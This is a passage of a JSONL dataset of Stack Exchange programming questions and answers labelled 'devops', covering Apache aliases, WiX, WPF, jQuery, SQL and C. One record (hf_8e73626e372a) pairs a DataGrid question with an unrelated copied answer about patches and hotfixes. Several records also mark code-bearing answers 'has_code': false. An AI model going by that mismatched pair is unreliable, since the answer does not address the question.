although probably unhelpfully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.551237"}
{"id": "hf_215b124f3402", "question": "<p>I'm running Apache on Windows XP via Xampplite, and could use help configuring my virtual directory. Here's what I'm hoping to do on my dev box:</p>\n\n<ol>\n<li>I want my source files to live outside of the xampp htdocs dir</li>\n<li>on my local machine I can access the project at <a href=\"http://myproject\" rel=\"noreferrer\">http://myproject</a></li>\n<li>others on my local network can access the project at my.ip.address/myproject</li>\n<li>keep localhost pointing to the xampp's htdocs folder so I can easily add other projects.</li>\n</ol>\n\n<p>I've got 1 &amp; 2 working by editing the windows hosts file, and adding a virtual directory in xampp's apache\\conf\\extra\\httpd-vhosts.conf file. I don't immediately see how to do 3 without messing up 4.</p>\n", "question_body": "", "answer": "Figured it out: use\nAlias\nfor #3, instead of VirtualHost, thus:\n```\n```\nAlias /myproject \"C:/path/to/my/project\"\n<Directory \"C:/path/to/my/project\">\n  Options Indexes FollowSymLinks MultiViews ExecCGI\n  AllowOverride All\n  Order allow,deny\n  Allow from all\n</Directory>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.626760"}
{"id": "hf_76358a4d0739", "question": "<p>The number of products out there right now still seems to be slim.</p>\n", "question_body": "", "answer": "I've had good success using\nTableDifference\nfor data warehousing scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.650910"}
{"id": "hf_a382d0e0022b", "question": "<p>When you are somewhere between version 1 and version 2, what do you do to maintain your software?</p>\n\n<p>The terms Patch, Hotfix, Maintenance Release, Service Pack, and others are all blurry from my point of view, with different definitions depending on who you talk to.</p>\n\n<p>What do you call your incremental maintenance efforts between releases?</p>\n", "question_body": "", "answer": "When I hear those terms this is what comes to mind:\nPatch - Publicly released update to\nfix a known bug/issue\nHotfix - update to fix a very\nspecific issue, not always publicly\nreleased\nMaintenance Release - Incremental\nupdate between service packs or\nsoftware versions to fix multiple\noutstanding issues\nService Pack - Large Update that\nfixes many outstanding issues,\nnormally includes all Patches,\nHotfixes, Maintenance releases that\npredate the service pack\nThat being said that isn't how we do updates at all.  We just increment the version and/or build number (which is based on the date) and just call it an \"Update\".  For most software I find that easier, you can easily see that one computer is running 1.1.50 vs 1.2.25 and know which is newer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.675203"}
{"id": "hf_8e73626e372a", "question": "<p>I have a DataGrid with 5 template columns,</p>\n\n<p>However when I try and add some dynamically created controls into the grid, it fails, as there are no rows.</p>\n\n<p>-Can i add a blank row in and use that? and how?\n-Or any other way?</p>\n", "question_body": "", "answer": "When I hear those terms this is what comes to mind:\nPatch - Publicly released update to\nfix a known bug/issue\nHotfix - update to fix a very\nspecific issue, not always publicly\nreleased\nMaintenance Release - Incremental\nupdate between service packs or\nsoftware versions to fix multiple\noutstanding issues\nService Pack - Large Update that\nfixes many outstanding issues,\nnormally includes all Patches,\nHotfixes, Maintenance releases that\npredate the service pack\nThat being said that isn't how we do updates at all.  We just increment the version and/or build number (which is based on the date) and just call it an \"Update\".  For most software I find that easier, you can easily see that one computer is running 1.1.50 vs 1.2.25 and know which is newer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.699516"}
{"id": "hf_bf9babfdf84e", "question": "<p>I have a form which is used to <em>insert/display</em> and <em>update</em>. In the edit mode (<em>update</em>), when I pass my <code>BO</code> back to the Controller, what is the best possible way to check if any of the property values were changed, in order to execute the update to the datastore? </p>\n\n<pre><code>textbox1.text = CustomerController.GetCustomerInformation(id).Name\n</code></pre>\n\n<p>A customer object is returned from the controller. I need to check if the the object is dirty in order to execute an update. I would assume the object sent from the client has to be compared with the one sent from the controller when I do:</p>\n\n<pre><code>CustomerController.Save(customer)\n</code></pre>\n\n<p>How is this normally done?</p>\n", "question_body": "", "answer": "A good way is to have an IsDirty flag on the object and have all the setable properties update that flag if they are changed.  Have the flag initialized to false when the object is loaded.\nAn example property would look like this:\n```\n```\npublic string Name {\n    get { return _name; }\n    set {\n        _name = value;\n        _isDirty = true;\n    }\n}\n```\n```\nThen when you get the object back you can simply check,\n```\nCustomer.IsDirty\n```\nto see if you need to commit the changes to the database.  And as an added bonus you get some humour from the resulting text :) (\noh those dirty customers\n)\nYou can also opt to always save the object regardless of whether it has been changed, my preference is to use a flag.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.747861"}
{"id": "hf_441fe5060dde", "question": "<p>At the moment I have setup a custom ok cancel dialog with a drop down in c#. The ok and cancel buttons use the DialogResult property so no code behind it. What I now need to do is validate the drop down to check it isn't left empty before posting back a dialogresult.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "From\nhere\nDouble-click the  Closing field, and implement it as follows:\n```\n```\nprivate void Second_Closing(object sender, \n        System.ComponentModel.CancelEventArgs e)\n{\n    // When the user attempts to close the form, don't close it...\n    e.Cancel = (dropdown.selecteditemindex >= 0);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.801575"}
{"id": "hf_52a762defb34", "question": "<p><strong>Is there a tool to generate WiX XML given a .reg file?</strong></p>\n\n<hr>\n\n<p>In 2.0, you were supposed to be able to run tallow to generate registry XML:</p>\n\n<pre><code>tallow -r my.reg \n</code></pre>\n\n<p>For what it's worth, the version of tallow I have is producing empty XML.</p>\n\n<p>In 3.0, tallow has been replaced with heat, but I can't figure out how to get it to produce output from a .reg file.</p>\n\n<p>Is there a way to do this in 3.0?</p>\n", "question_body": "", "answer": "I couldn't find a tool, so I made one.\nThe source code may not be elegant, but it seems to work:\n```\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.IO;\nusing System.Xml;\nusing System.Text.RegularExpressions;\n\nnamespace Reg2Wix\n{\n    class Program\n    {\n        static void PrintUsage()\n        {\n            Console.WriteLine(\"reg2wix <input file> <output file>\");\n        }\n\n        /// <summary>\n        /// Parse the hive out of a registry key\n        /// </summary>\n        /// <param name=\"keyWithHive\"></param>\n        /// <param name=\"hive\"></param>\n        /// <param name=\"key\"></param>\n        static void ParseKey(string keyWithHive, out string hive, out string key)\n        {\n            if (keyWithHive == null)\n            {\n                throw new ArgumentNullException(\"keyWithHive\");\n            }\n            if (keyWithHive.StartsWith(\"HKEY_LOCAL_MACHINE\\\\\"))\n            {\n                hive = \"HKLM\";\n                key = keyWithHive.Substring(19);\n            }\n            else if (keyWithHive.StartsWith(\"HKEY_CLASSES_ROOT\\\\\"))\n            {\n                hive = \"HKCR\";\n                key = keyWithHive.Substring(18);\n            }\n            else if (keyWithHive.StartsWith(\"HKEY_USERS\\\\\"))\n            {\n                hive = \"HKU\";\n                key = keyWithHive.Substring(11);\n            }\n            else if (keyWithHive.StartsWith(\"HKEY_CURRENT_USER\\\\\"))\n            {\n                hive = \"HKCU\";\n                key = keyWithHive.Substring(18);\n            }\n            else\n            {\n                throw new ArgumentException();\n            }        \n        }\n\n        /// <summary>\n        /// Write a WiX RegistryValue element for the specified key, name, and value\n        /// </summary>\n        /// <param name=\"writer\"></param>\n        /// <param name=\"key\"></param>\n        /// <param name=\"name\"></param>\n        /// <param name=\"value\"></param>\n        static void WriteRegistryValue(XmlWriter writer, string key, string name, string value)\n        {\n            if (writer == null)\n            {\n                throw new ArgumentNullException(\"writer\");\n            }\n            if (key == null)\n            {\n                throw new ArgumentNullException(\"key\");\n            }\n            if (value == null)\n            {\n                throw new ArgumentNullException(\"value\");\n            }\n\n            string hive;\n            string keyPart;\n            ParseKey(key, out hive, out keyPart);\n\n            writer.WriteStartElement(\"RegistryValue\");\n\n            writer.WriteAttributeString(\"Root\", hive);\n            writer.WriteAttributeString(\"Key\", keyPart);\n            if (!String.IsNullOrEmpty(name))\n            {\n                writer.WriteAttributeString(\"Name\", name);\n            }\n            writer.WriteAttributeString(\"Value\", value);\n            writer.WriteAttributeString(\"Type\", \"string\");\n            writer.WriteAttributeString(\"Action\", \"write\");\n\n            writer.WriteEndElement();\n        }\n\n        /// <summary>\n        /// Convert a .reg file into an XML document\n        /// </summary>\n        /// <param name=\"inputReader\"></param>\n        /// <param name=\"xml\"></param>\n        static void RegistryFileToWix(TextReader inputReader, XmlWriter xml)\n        {\n            Regex regexKey = new Regex(\"^\\\\[([^\\\\]]+)\\\\]$\");\n            Regex regexValue = new Regex(\"^\\\"([^\\\"]+)\\\"=\\\"([^\\\"]*)\\\"$\");\n            Regex regexDefaultValue = new Regex(\"@=\\\"([^\\\"]+)\\\"$\");\n\n            string currentKey = null;\n\n            string line;\n            while ((line = inputReader.ReadLine()) != null)\n            {\n                line = line.Trim();\n                Match match = regexKey.Match(line);                \n                if (match.Success)\n                {\n                    //key track of the current key\n                    currentKey = match.Groups[1].Value;\n                }\n                else \n                {\n                    //if we have a current key\n                    if (currentKey != null)\n                    {\n                        //see if this is an acceptable name=value pair\n                        match = regexValue.Match(line);\n                        if (match.Success)\n                        {\n                            WriteRegistryValue(xml, currentKey, match.Groups[1].Value, match.Groups[2].Value);\n                        }\n                        else\n                        {\n                            //see if this is an acceptable default value (starts with @)\n                            match = regexDefaultValue.Match(line);\n                            if (match.Success)\n                            {\n                                WriteRegistryValue(xml, currentKey, (string)null, match.Groups[1].Value);\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n        /// <summary>\n        /// Convert a .reg file into a .wsx file\n        /// </summary>\n        /// <param name=\"inputPath\"></param>\n        /// <param name=\"outputPath\"></param>\n        static void RegistryFileToWix(string inputPath, string outputPath)\n        {\n            using (StreamReader reader = new StreamReader(inputPath))\n            {\n                using (XmlTextWriter writer = new XmlTextWriter(outputPath, Encoding.UTF8))\n                {\n                    writer.Formatting = Formatting.Indented;\n                    writer.Indentation = 3;\n                    writer.IndentChar = ' ';\n                    writer.WriteStartDocument();\n                    writer.WriteStartElement(\"Component\");\n                    RegistryFileToWix(reader, writer);\n                    writer.WriteEndElement();\n                    writer.WriteEndDocument();\n                }\n            }\n        }\n\n        static void Main(string[] args)\n        {\n            if (args.Length != 2)\n            {\n                PrintUsage();\n                return;\n            }\n            RegistryFileToWix(args[0], args[1]);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.880739"}
{"id": "hf_406cf7491105", "question": "<p>I have set a canvas' background to an image of a company logo.  I would like for this image to be aligned to the bottom right corner of the canvas.<br>\nIs it possible to do this, or would it require for the image to be added into the canvas as a child?  That would not work with this program as all children of the canvas are handled differently.</p>\n\n<p>Thank You</p>\n", "question_body": "", "answer": "AFAIK The WPF Canvas needs child UI elements to be positioned using absolute co-ordinates. \nTo achieve the right-bottom-anchored effect, I think you'd need to\nhandle the window resize event, recalculate and apply the Top,Left co-ordinates\nfor the child Image element to always stick to the right buttom corner.\n```\n```\n<Window x:Class=\"HelloWPF.Window1\" xmlns...\n    Title=\"Window1\" Height=\"300\" Width=\"339\">\n    <Canvas>\n        <Image Canvas.Left=\"195\" Canvas.Top=\"175\" Height=\"87\" Name=\"image1\" Stretch=\"Fill\" Width=\"122\" Source=\"dilbert2666700071126ni1.gif\"/>\n    </Canvas>\n</Window>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.918926"}
{"id": "hf_fb102dcdf43c", "question": "<p>Ages ago when I was a java developer I could make separate ant scripts that I would call from my main ant script. I would put properties unique to each environment where my main script would run. I want to do the same thing in MSBuild but I can't find out how to chain MSBuild scripts together.</p>\n", "question_body": "", "answer": "You need to\nImport\nthem.\n```\n```\n<Import Project=\"MyTargets\" Condition=\"Exists('MyTargets')\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.971756"}
{"id": "hf_38d9e798d117", "question": "<p>I'm doing some small changes to C++ MFC project. I'm .NET developer so Windows programming is new to me.</p>\n\n<p>I need to launch some method right after CDialog is completely shown (painted) for the first time, but only once.</p>\n\n<p>How can I do this? In .NET I would handle <strong>Form.Shown</strong> event.</p>\n\n<p>Do I need to handle some message? Which?\nDo I need to override some CDialog method?\nOr is there no easy way? I'm thinking of handling WM_ACTIVATE and then using a flag to ensure I call another method only once.</p>\n", "question_body": "", "answer": "Found the answer here:\nWaiting until the dialog box is displayed before doing something\n```\n```\nShort story:\nINT_PTR CALLBACK\nDlgProc(HWND hwnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)\n{\n  switch (uiMsg) {\n\n  case WM_INITDIALOG:\n    return TRUE;\n\n  case WM_WINDOWPOSCHANGED:\n    if ((((WINDOWPOS*)lParam)->flags & SWP_SHOWWINDOW) &&\n        !g_fShown) {\n      g_fShown = TRUE;\n      PostMessage(hwnd, WM_APP, 0, 0);\n    }\n    break;\n\n  case WM_APP:\n      MessageBox(hwnd,\n                 IsWindowVisible(hwnd) ? TEXT(\"Visible\")\n                                       : TEXT(\"Not Visible\"),\n                 TEXT(\"Title\"), MB_OK);\n      break;\n\n  case WM_CLOSE:\n   EndDialog(hwnd, 0);\n   break;\n  }\n\n  return FALSE;\n}\n```\n```\nIf you're using MFC like I am you'll need to map WM_WINDOWPOSCHANGED and then use ON_MESSAGE to map WM_APP. See\nthis CodeProject article\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.996078"}
{"id": "hf_72e69d30f4d8", "question": "<p>How can we find out that how many applications are there in a database?</p>\n", "question_body": "", "answer": "Do you mean stored procedures? You can have multiple applications using the same login credentials accessing a given database from the same web server, so you can't simply count databases or tables to get that number.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.044188"}
{"id": "hf_4a771b0af22e", "question": "<p>There are two schools of thought on how to best extend, enhance, and reuse code in an object-oriented system:</p>\n\n<ol>\n<li><p>Inheritance: extend the functionality of a class by creating a subclass. Override superclass members in the subclasses to provide new functionality. Make methods abstract/virtual to force subclasses to \"fill-in-the-blanks\" when the superclass wants a particular interface but is agnostic about its implementation.</p></li>\n<li><p>Aggregation: create new functionality by taking other classes and combining them into a new class. Attach an common interface to this new class for interoperability with other code.</p></li>\n</ol>\n\n<p>What are the benefits, costs, and consequences of each? Are there other alternatives?</p>\n\n<p>I see this debate come up on a regular basis, but I don't think it's been asked on \nStack Overflow yet (though there is some related discussion). There's also a surprising lack of good Google results for it. </p>\n", "question_body": "", "answer": "The difference is typically expressed as the difference between \"is a\" and \"has a\". Inheritance, the \"is a\" relationship, is summed up nicely in the\nLiskov Substitution Principle\n. Aggregation, the \"has a\" relationship, is just that - it shows that the aggregating object\nhas\none of the aggregated objects.\nFurther distinctions exist as well - private inheritance in C++ indicates a \"is implemented in terms of\" relationship, which can also be modeled by the aggregation of (non-exposed) member objects as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.091911"}
{"id": "hf_f9e269a8d123", "question": "<p>Why is the generic.list slower than array?</p>\n", "question_body": "", "answer": "A generic list is slightly slower than an array, but not so you'd notice in most cases.  Mostly it has to do with the lookup being slightly more complex: List is said to use an array \"under the hood\", but it's not not guaranteed to keep nodes in adjacent memory in the same way in array is.\nHowever, I saw some benchmarks way back in 2005 (can't find the link now) and difference is\nvery\nsmall.\nAlso, the list has a number of important advantages over an array: mainly that it's trivial to add or remove items.  It's much easier to use a list when you don't know how many items you will need, or when that number will vary.  In those cases (and honestly, that's\nmost of the time\n), you probably should\nnot\nuse an array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.116261"}
{"id": "hf_2be8ea6534e6", "question": "<p>I want to work with versioned ActiveRecord associations. <i>E.g.</i>, I want to find the object that another object belongs_to as of a certain past date, or the one that it belonged to before that. Does there already exist a library subclassing Rails' ActiveRecord to provide versioned relations? Or some other Ruby library which provides persistable versioned relations?</p>\n", "question_body": "", "answer": "Supporting historical state in a transactional application is a good way to massively expand complexity, slow DB performance and make life difficult for yourself.  If you only need to display or report on historical state and do not need it up to the minute consider building a star schema with\nType-II slowly changing dimensions\nand  a periodic process that updates it.\nThis will be substantially less complex than building an application with systemic ad-hoc history tracking running through the code base.  If this approach will do what you require of the application you will probably be better off doing it.  It also means that the application database will play nicely with the vanilla database access mechanisms that come with the system.\nIf you need reasonably frequent refresh you can implement a changed-data capture system on the database, which is relatively simple if the application only has to be concerned with current state.  With a CDC mechanism the load process only has to update based on changes and will run relatively quickly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.140986"}
{"id": "hf_59fb90dee4b4", "question": "<p>I've got a Page class in my .edmx ADO.NET Entity Data Model file with with Parent and Children properties.  It's for a hierarchy of Pages.</p>\n\n<p><em>removed dead ImageShack link - ADO.NET Entity Framework Hierarchical Page Class</em></p>\n\n<p>This is handled in my SQL database with a ParentId foreign key in the Page table bound to the Id primary key of that same Page table.</p>\n\n<p>How do I display this hierarchy in a WPF TreeView?</p>\n", "question_body": "", "answer": "I got this working with help from\nAbe Heidebrecht\n.  Much thanks to him.\nHere's my XAML...\n```\n```\n<Window x:Class=\"Window1\"\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n    xmlns:local=\"clr-namespace:PageManager\"\n    Title=\"Window1\" Height=\"300\" Width=\"300\" Name=\"Window1\">\n    <Grid>\n        <TreeView Margin=\"12\" Name=\"TreeViewPages\" ItemsSource=\"{Binding}\" TreeViewItem.Expanded=\"TreeViewPages_Expanded\">\n            <TreeView.Resources>\n                <HierarchicalDataTemplate DataType=\"{x:Type local:Page}\" ItemsSource=\"{Binding Children}\">\n                    <TextBlock Text=\"{Binding Path=ShortTitle}\" />\n                </HierarchicalDataTemplate>\n            </TreeView.Resources>\n        </TreeView>\n    </Grid>\n</Window>\n```\n```\nHere's my Visual Basic code...\n```\n```\nClass Window1\n\n    Private Sub Window1_Loaded(ByVal sender As System.Object, ByVal e As System.Windows.RoutedEventArgs) Handles MyBase.Loaded\n        Dim db As New PageEntities\n        Dim RootPage = From p In db.Page.Include(\"Children\") _\n                       Where (p.Parent Is Nothing) _\n                       Select p\n        TreeViewPages.ItemsSource = RootPage\n    End Sub\n\n    Private Sub TreeViewPages_Expanded(ByVal sender As System.Object, ByVal e As System.Windows.RoutedEventArgs)\n        Dim ExpandedTreeViewItem As TreeViewItem = DirectCast(e.OriginalSource, TreeViewItem)\n        Dim PageId As Guid = DirectCast(ExpandedTreeViewItem.DataContext, Page).Id\n        Dim db As New PageEntities\n        Dim ChildPages = From p In db.Page.Include(\"Children\") _\n                         Where p.Parent.Id = PageId _\n                         Select p\n        ExpandedTreeViewItem.ItemsSource = ChildPages\n    End Sub\nEnd Class\n```\n```\nWhen the window loads, the root node and its children are queried from the database and inserted into the tree.\nEach time a node is expanded, that node's children and grandchildren are queried from the database and inserted into the tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.172717"}
{"id": "hf_42b1efdb8e0b", "question": "<p>With the jQuery datepicker, how does one change the year range that is displayed?  On the jQuery UI site it says the default is \"10 years before and after the current year are shown\".  I want to use this for a birthday selection and 10 years before today is no good.  Can this be done with the jQuery datepicker or will I have to use a different solution?</p>\n\n<p>link to datepicker demo: <a href=\"http://jqueryui.com/demos/datepicker/#dropdown-month-year\" rel=\"noreferrer\">http://jqueryui.com/demos/datepicker/#dropdown-month-year</a></p>\n", "question_body": "", "answer": "If you look down the demo page a bit, you'll see a \"Restricting Datepicker\" section. Use the dropdown to specify the \"\n```\nYear dropdown shows last 20 years\n```\n\" demo , and hit view source:\n```\n```\n$(\"#restricting\").datepicker({ \n    yearRange: \"-20:+0\", // this is the option you're looking for\n    showOn: \"both\", \n    buttonImage: \"templates/images/calendar.gif\", \n    buttonImageOnly: true \n});\n```\n```\nYou'll want to do the same (obviously changing\n```\n-20\n```\nto\n```\n-100\n```\nor something).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.208292"}
{"id": "hf_c552908b4b9b", "question": "<p>In Python map() works on any data that follows the sequence protocol.  It does The Right Thing^TM whether I feed it a string or a list or even a tuple.</p>\n\n<p>Can't I have my cake in OCaml too?  Do I really have no other choice but to look at the collection type I'm using and find a corresponding List.map or an Array.map or a Buffer.map or a String.map?  Some of these don't even exist!  Is what I'm asking for unusual?  I must be missing something.</p>\n", "question_body": "", "answer": "The closest you will get to this is the module\n```\nEnum\n```\nin\nOCaml Batteries Included\n(formerly of\nExtlib\n).\n```\nEnum\n```\ndefines maps and folds over\n```\nEnum.t\n```\n; you just have to use a conversion to/from\n```\nEnum.t\n```\nfor your datatype. The conversions can be fairly light-weight, because\n```\nEnum.t\n```\nis lazy.\nWhat you really want is Haskell-style\ntype classes\n, like\n```\nFoldable\n```\nand\n```\nFunctor\n```\n(which generalizes \"maps\"). The Haskell libraries define instances of\n```\nFoldable\n```\nand\n```\nFunctor\n```\nfor lists, arrays, and trees. Another relevant technique is the\n\"Scrap Your Boilerplate\" approach\nto generic programming. Since OCaml doesn't support type classes or\nhigher-kinded polymorphism\n, I don't think you'd be able to express patterns like these in its type system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.244318"}
{"id": "hf_fb53e4e66270", "question": "<p>What combination of CSS or attributes are needed?</p>\n", "question_body": "", "answer": "Hide the actual control\nMade a DIV with the controls and styling you want on top of it\nThe button is not a standard HTML control.\nSee:\nhttp://www.quirksmode.org/dom/inputfile.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.330487"}
{"id": "hf_6e8e71a454d2", "question": "<p>I'm looking to convert a small .NET console application into a Windows Service.  I'd like to build two versions, one using .NET 2.0 and another with .NET 3.5 .</p>\n\n<p>Are there radically different approaches that need to be taken, or will the 2.0 version be roughly equivalent to the 3.5 version?  Where's a good source of information (i.e. a web-based guide) that can walk me through the steps of setting up the service?</p>\n\n<p>Thanks!\nP.A.</p>\n", "question_body": "", "answer": "The thing to remember is that .NET 3.5 is a set of additional libraries on top of .NET 2.0, so, unless you are planning on taking advantage of any additional features provided by .NET 3.5 (or .NET 3.0) like LINQ or WCF the code would be identical.\nTry looking at the documentation for\nServiceBase\n, which is the base class that you will need to inherit, to get things started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.396750"}
{"id": "hf_3d3cbb6f86f2", "question": "<p>I've got an MS access database and I would need to create an SQL query that allows me to select all the not distinct entries in one column while still keeping all the values.</p>\n\n<p>In this case more than ever an example is worth thousands of words:</p>\n\n<p>Table:</p>\n\n<pre><code>A B C\n1 x q\n2 y w\n3 y e\n4 z r\n5 z t\n6 z y\n</code></pre>\n\n<p><em>SQL magic</em></p>\n\n<p>Result:</p>\n\n<pre><code>B C\ny w\ny e\nz r\nz t\nz y\n</code></pre>\n\n<p>Basically it removes all unique values of column B but keeps the multiple rows of the\ndata kept. I can \"group by b\" and then \"count>1\" to get the not distinct but the result will only list one row of B not the 2 or more that I need.</p>\n\n<p>Any help?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "```\n```\nselect \n  * \nfrom \n  my_table t1, \n  my_table t2\nwhere \n  t1.B = t2.B\nand\n  t1.C != t2.C\n\n-- apparently you need to use <> instead of != in Access\n-- Thanks, Dave!\n```\n```\nSomething like that?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.420570"}
{"id": "hf_4dae3c386ab6", "question": "<p>I am rather new to complex CSS, and have a question- I have a page which positions a floating element along the bottom of the page. It does so by setting the Bottom: 0, and Position: Absolute. </p>\n\n<p>When the user resizes their browser to a very-small size, this element covers up other content on the page.</p>\n\n<p>Ideally, The element would continue to float at the bottom of the browser at normal and large sizes, but if the browser window were to be shrunk too small, the browser would force a scrollbar, instead of moving the floating element any further.</p>\n\n<p>Essentially, I want to tell the browser- No matter how small the window is, never render the page smaller than 800x600. </p>\n", "question_body": "", "answer": "You could set\n```\nhtml, body { min-width: 800px; min-height: 600px; }\n```\nYMMV in different browsers though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.470426"}
{"id": "hf_5694f605ae4b", "question": "<p>I want to alert the user in a Swing application of certain events with an old fashioned PC Speaker beep (NOT the soundcard), since not on every PC there is a soundcard with an attached speaker, or volume might be turned to zero, or a headphone might be connected... How can I do this?</p>\n\n<p>UPDATE:\njava.awt.Toolkit.getDefaultToolkit().beep() seems usually to generate a sound on the soundcard. It only uses the speaker if there is no active soundcard. \nTo print an ASCII value 7 works only if the application is launched in a terminal, which at least a Swing app usually isn't. \nSo the question is still open.</p>\n", "question_body": "", "answer": "```\nToolkit.getDefaultToolkit().beep();\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.518898"}
{"id": "hf_ac5d205c0314", "question": "<p>I am trying to use a malloc hook to create a custom function my_malloc(). In my main program when I call malloc() I want it to call my_malloc() can someone please give me an example on how to do this in C</p>\n", "question_body": "", "answer": "```\n```\n#undef malloc\n#define malloc my_malloc\n```\n```\nJust put that at the top of any of the files you need to do it for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.543115"}
